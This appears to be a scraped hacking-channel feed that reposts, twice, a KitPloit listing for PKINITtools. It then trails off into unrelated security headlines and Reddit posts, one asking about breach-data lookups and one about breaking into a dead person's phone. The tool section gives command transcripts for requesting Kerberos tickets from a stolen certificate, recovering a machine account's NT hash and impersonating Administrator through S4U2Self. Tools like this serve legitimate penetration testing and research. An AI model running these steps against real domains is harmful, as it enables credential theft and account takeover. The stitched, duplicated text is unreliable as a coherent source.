This repository contains some utilities for playing with PKINIT and certificates.
The tools are built on minikerberos (https://github.com/skelsec/minikerberos/tree/master/minikerberos) and impacket (https://github.com/SecureAuthCorp/impacket). Accompanying blogpost with more context: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/
Installation
These tools are only compatible with Python 3.5+. Clone the repository from GitHub, install the dependencies and you should be good to go: impacket minikerberos ">git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos Using a virtualenv for this is recommended.
Tools

gettgtpkinit.py
Request a TGT using a PFX file, either as file or as base64 encoded blob, or PEM files (https://www.kitploit.com/search/label/PEM%20files) for cert+key. This uses Kerberos (https://www.kitploit.com/search/label/Kerberos) PKINIT and will output a TGT into the specified ccache. It will also print the AS-REP encryption (https://www.kitploit.com/search/label/Encryption) key which you may need for the getnthash.py tool. Usage example: username in the cert ccache ccache file to store the TGT in optional arguments: -h, --help show this help message and exit -cert-pfx file PFX file -pfx-pass password PFX file password -pfx-base64 BASE64 PFX file as base64 string -cert-pem file Certificate in PEM format -key-pem file Private key file in PEM format -dc-ip DC_IP DC IP or hostname to use as KDC -v, --verbose (PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache 2021-07-27 21:25:24,299 minikerberos INFO Loading certificate and key from file 2021-07-27 21:25:24,316 minikerberos INFO Requesting TGT 2021-07-27 21:25:24,333 minikerberos INFO AS-REP encryption key (you might need this later): 2021-07-27 21:25:24,333 minikerberos INFO 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3 2021-07-27 21:25:24,336 minikerberos INFO Saved TGT to file ">(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
domain/username ccache

Requests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+key

positional arguments:
domain/username Domain and username in the cert
ccache ccache file to store the TGT in

optional arguments:
-h, --help show this help message and exit
-cert-pfx file PFX file
-pfx-pass password PFX file password
-pfx-base64 BASE64 PFX file as base64 string
-cert-pem file Certificate in PEM format
-key-pem file Private key file in PEM format
-dc-ip DC_IP DC IP or hostname to use as KDC
-v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.p y testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO Loading certificate and key from file
2021-07-27 21:25:24,316 minikerberos INFO Requesting TGT
2021-07-27 21:25:24,333 minikerberos INFO AS-REP encryption key (you might need this later):
2021-07-27 21:25:24,333 minikerberos INFO 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO Saved TGT to file

getnthash.py
Use Kerberos U2U to submit a TGS request for yourself. This will include with the PAC which in turn contains the NT hash that you can decrypt with the AS-REP key that was used for your specific TGT. It's magic really. This tool requires a TGT resulting from PKINIT to be in your KRB5CCNAME env variable. Usage: (PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h

___________________________
@hacking_Attack
@Hacking_Video

Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity

positional arguments:
identity domain/username

optional arguments:
-h, --help show this help message and exit
-key KEY AS REP key from gettgtpkinit.py
-dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
-debug Turn DEBUG output ON

(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to se lf with PAC
Recovered NT Hash
fa6b130d73311d1be5495f589f9f4571

gets4uticket.py
Uses Kerberos S4U2Self to request a service ticket that is valid on the host for which you've obtained a certificate. This ticket can then be used to interact with the original host. This only requires a TGT for the machine account of this host. This TGT should be in a ccache file that you specify in the kerberos_connection_url. The only accepted kerberos_connection_url for this example is one containing a ccache file, so for example kerberos+ccache://domain.local\\victimhostname\$:victimhostname.ccache@kdchostname.domain.local. The SPN should be a service name on the host you are impersonating, you can't use this for delegation attacks (since it does not implement S4U2Proxy, there are plenty of tools already for that). Usage: spn the service principal in format /@ Example: cifs/fileserver.test.corp@TEST.corp for a TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER'S HOSTNAME MUST BE USED, NOT IP!!! targetuser ccache ccache file to store the TGT ticket in optional arguments: -h, --help show this help message and exit -v, --verbose (PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:s2019dc.ccache@s2016dc.testsegment.local cifs/s2019dc.testsegment.local@testsegment.local Administrator@testsegment.local out.ccache -v 2021-07-28 10:09:13,687 minikerberos INFO Trying to get SPN with Administrator@testsegment.local for cifs/s2019dc.testsegment.local@testsegment.local 2021-07-28 10:09:13,695 minikerberos INFO Success! 2021-07-28 10:09:13,696 minikerberos INFO Done! ">(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache

Gets an S4U2self ticket impersonating given user

positional arguments:
kerberos_connection_url
the kerberos target string in the following format kerberos+ccache://domain\user:file.ccache@
spn the service principal in format /@ Example: cifs/fileserver.test.corp@TEST.corp for a
TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER'S HOSTNAME MUST BE USED, NOT IP!!!
targetuser
ccache ccache file to store the TGT ticket in

optional arguments:
-h, --help show this help message and exit
-v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python ge ts4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:s2019dc.ccache@s2016dc.testsegment.local cifs/s2019dc.testsegment.local@testsegment.local Administrator@testsegment.local out.ccache -v
2021-07-28 10:09:13,687 minikerberos INFO Trying to get SPN with Administrator@testsegment.local for cifs/s2019dc.testsegment.local@testsegment.local
2021-07-28 10:09:13,695 minikerberos INFO Success!
2021-07-28 10:09:13,696 minikerberos INFO Done!

License
MIT
Credits

___________________________
@hacking_Attack
@Hacking_Video

SkelSec (https://twitter.com/skelsec) for minikerberos (https://github.com/skelsec/minikerberos/tree/master/minikerberos) Alberto Solino and the team at SecureAuthCorp for impacket (https://github.com/SecureAuthCorp/impacket) Mor Rubin (https://twitter.com/rubin_mor) for their first PKINIT implementation in python as part of AzureADJoinedMachinePTC (https://github.com/morRubin/AzureADJoinedMachinePTC) Benjamin Delpy (https://twitter.com/gentilkiwi) for implementing these things in kekeo (https://github.com/gentilkiwi/kekeo)

Download PKINITtools (https://github.com/dirkjanm/PKINITtools)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
PKINITtools - Tools For Kerberos PKINIT And Relaying To AD CS

https://1.bp.blogspot.com/-XZJu5mQOYn8/YVUG1GfAdcI/AAAAAAAAvTc/nw9sTbmdmP4ogr1zz8TU4yCAFstfLiuggCNcBGAsYHQ/w640-h76/gettgtpkinit.png This repository contains some utilities for playing with PKINIT and certificates.
The tools are built on minikerberos and impacket. Accompanying blogpost with more context: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/ InstallationThese tools are only compatible with Python 3.5+. Clone the repository from GitHub, install the dependencies and you should be good to go:

impacket minikerberos ">git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos

Using a virtualenv for this is recommended. Toolsgettgtpkinit.pyRequest a TGT using a PFX file, either as file or as base64 encoded blob, or PEM files for cert+key. This uses Kerberos PKINIT and will output a TGT into the specified ccache. It will also print the AS-REP encryption key which you may need for the getnthash.py tool. Usage example:

username in the cert ccache ccache file to store the TGT in optional arguments: -h, --help show this help message and exit -cert-pfx file PFX file -pfx-pass password PFX file password -pfx-base64 BASE64 PFX file as base64 string -cert-pem file Certificate in PEM format -key-pem file Private key file in PEM format -dc-ip DC_IP DC IP or hostname to use as KDC -v, --verbose (PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache 2021-07-27 21:25:24,299 minikerberos INFO Loading certificate and key from file 2021-07-27 21:25:24,316 minikerberos INFO Requesting TGT 2021-07-27 21:25:24,333 minikerberos INFO AS-REP encryption key (you might need this later): 2021-07-27 21:25:24,333 minikerberos INFO 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3 2021-07-27 21:25:24,336 minikerberos INFO Saved TGT to file ">(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
domain/username ccache

Requests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+key

positional arguments:
domain/username Domain and username in the cert
ccache ccache file to store the TGT in

optional arguments:
-h, --help show this help message and exit
-cert-pfx file PFX file
-pfx-pass password PFX file password
-pfx-base64 BASE64 PFX file as base64 string
-cert-pem file Certificate in PEM format
-key-pem file Private key file in PEM format
-dc-ip DC_IP DC IP or hostname to use as KDC
-v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.p y testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO Loading certificate and key from file
2021-07-27 21:25:24,316 minikerberos INFO Requesting TGT
2021-07-27 21:25:24,333 minikerberos INFO AS-REP encryption key (you might need this later):
2021-07-27 21:25:24,333 minikerberos INFO 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO Saved TGT to file getnthash.pyUse Kerberos U2U to submit a TGS request for yourself. This will include with the PAC which in turn contains the NT hash that you can decrypt with the AS-REP key that was used for your specific TGT. It's magic really. This tool requires a TGT resulting from PKINIT to be in your KRB5CCNAMEenv variable.[...]

___________________________
@hacking_Attack
@Hacking_Video

Usage: (PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity

positional arguments:
identity domain/username

optional arguments:
-h, --help show this help message and exit
-key KEY AS REP key from gettgtpkinit.py
-dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
-debug Turn DEBUG output ON

(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to se lf with PAC
Recovered NT Hash
fa6b130d73311d1be5495f589f9f4571 gets4uticket.pyUses Kerberos S4U2Self to request a service ticket that is valid on the host for which you've obtained a certificate. This ticket can then be used to interact with the original host. This only requires a TGT for the machine account of this host. This TGT should be in a ccache file that you specify in the kerberos_connection_url. The only accepted kerberos_connection_urlfor this example is one containing a ccache file, so for example kerberos+ccache://domain.local\\victimhostname\$:victimhostname.ccache@kdchostname.domain.local. The SPN should be a service name on the host you are impersonating, you can't use this for delegation attacks (since it does not implement S4U2Proxy, there are plenty of tools already for that). Usage: (PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache

Gets an S4U2self ticket impersonating given user

positional arguments:
kerberos_connection_url
the kerberos target string in the following format kerberos+ccache://domain\user:file.ccache@LicenseMIT Credits* SkelSec for minikerberos
* Alberto Solino and the team at SecureAuthCorp for impacket
* Mor Rubin for their first PKINIT implementation in python as part of AzureADJoinedMachinePTC
* Benjamin Delpy for implementing these things in kekeo Download PKINITtools

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
FireEye Products & McAfee Enterprise Merge to Create $2B Entity

The combined company will have 5,000 employees, more than 40,000 customers, and nearly $2 billion in revenue, officials report.

Dark Reading: Attacks/Breaches
10 Recent Examples of How Insider Threats Can Cause Big Breaches and Damage

Theft of intellectual property, sabotage, exposure of sensitive data and more were caused by malicious behavior and negligence at these organizations

Dark Reading: Attacks/Breaches
Akamai Acquires Guardicore in $600M Deal

In other acquisition news today, Arctic Wolf announced it will acquire Habitu8, a managed security awareness platform, for an undisclosed amount.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Are there any Free alternatives to Dehashed.com?

I'm a college student, studying for my CompSci degree and I'm also learning some Networking and hacking during free time. I can't afford a Dehashed.com subscription coz it's pretty expensive in my currency. I was wondering if there were any alternatives that let me search up Data from Breaches/Leaks.

submitted by /u/Myth2156
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Penetration Testing Tool Project
https://www.reddit.com/r/Pentesting/comments/pyv98z/penetration_testing_tool_project/

Hey guys. Hope u all well. I just want to show you a project I am working on. It's a nice tool for network administrators and pentesters. Please feel free to leave feedback. Kudos https://github.com/medpaf/medsec submitted by /u/Ok_Demand_682 (https://www.reddit.com/user/Ok_Demand_682)
[link] (https://www.reddit.com/r/Pentesting/comments/pyv98z/penetration_testing_tool_project/) [comments] (https://www.reddit.com/r/Pentesting/comments/pyv98z/penetration_testing_tool_project/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
O que é um BAS? ( Breach and Attack Simulation )

https://cdn-images-1.medium.com/max/830/0*2SqRTvDjK7MbvzvS.jpg
Um software BAS é um forma de imitar agentes APT, simulando ataques de ameaças reais para realizar um teste de defesa nos ativos sem…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
La nueva puerta trasera de Tomiris está vinculada a los piratas informáticos detrás del…

https://cdn-images-1.medium.com/max/1443/0*lyWvkalimE0feTc5
PUBLICADO EN 30 SEPTIEMBRE, 2021POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
More Than 90% of Q2 Malware Was Hidden in Encrypted Traffic

Analysis of threat trends from last quarter reveals attackers ramped up their use of fileless malware, and zero-day malware accounted for almost two-thirds of all detections.

hacking: security in practice
Best tools for working with Android - P4wnP1 ALOA?

A client (a lawyer handling the estate) has given me the phone (plus a Chromebook but it's encrypted so I'm hoping to get in through the phone) of someone who has died to get into. It's an older LG Android, looks like it shipped with at least Lollipop 5.1.1. It's not rooted, no ADB, crashing the lockscreen doesn't work... My question is do I simply need an otg cable to get my linux box to get in, is there an sdcard attack, or should I go the Raspberry Pi route with P4wnP1 aloa? Or am I missing an easy way in with a standard charging cable and Kali or something along those lines?

P4wnP1 aloa looks pretty fun to play with so this is what I'm leaning towards but if there's an easier method with what I have on hand that would be great.

submitted by /u/Kegir
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Can someonw explain how sql injection works?

for edu purpose

submitted by /u/asfan_muhd
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Im sorry for asking but what is hacking exactly?

This is not a "how to start" post, just a genuine question. Answer me like I'm a decent programmer but I have never done networking or hacking of any kind.

So the question is, what is the benefit of black hat hacking? What do you do? I know that you can try to breach the security of weaker sites but I don't think you gain anything from that. What else? The only thing I can imagine is sitting in a public café with a laptop and trying to gather passwords of people logging into the network. Is that how it works? Or do you gather information and sell them? To whom and where? How is it verified? Ive been scrolling multiple hacking related subreddits for a while and havent found anything useful at all.

submitted by /u/WarriorKatHun
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

submitted by /u/MitralKID
[link] [comments]

Notification system for your Bug Bounty Automation
https://anubhav-singh.medium.com/notification-system-for-your-bug-bounty-automation-7b13af1b7372?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video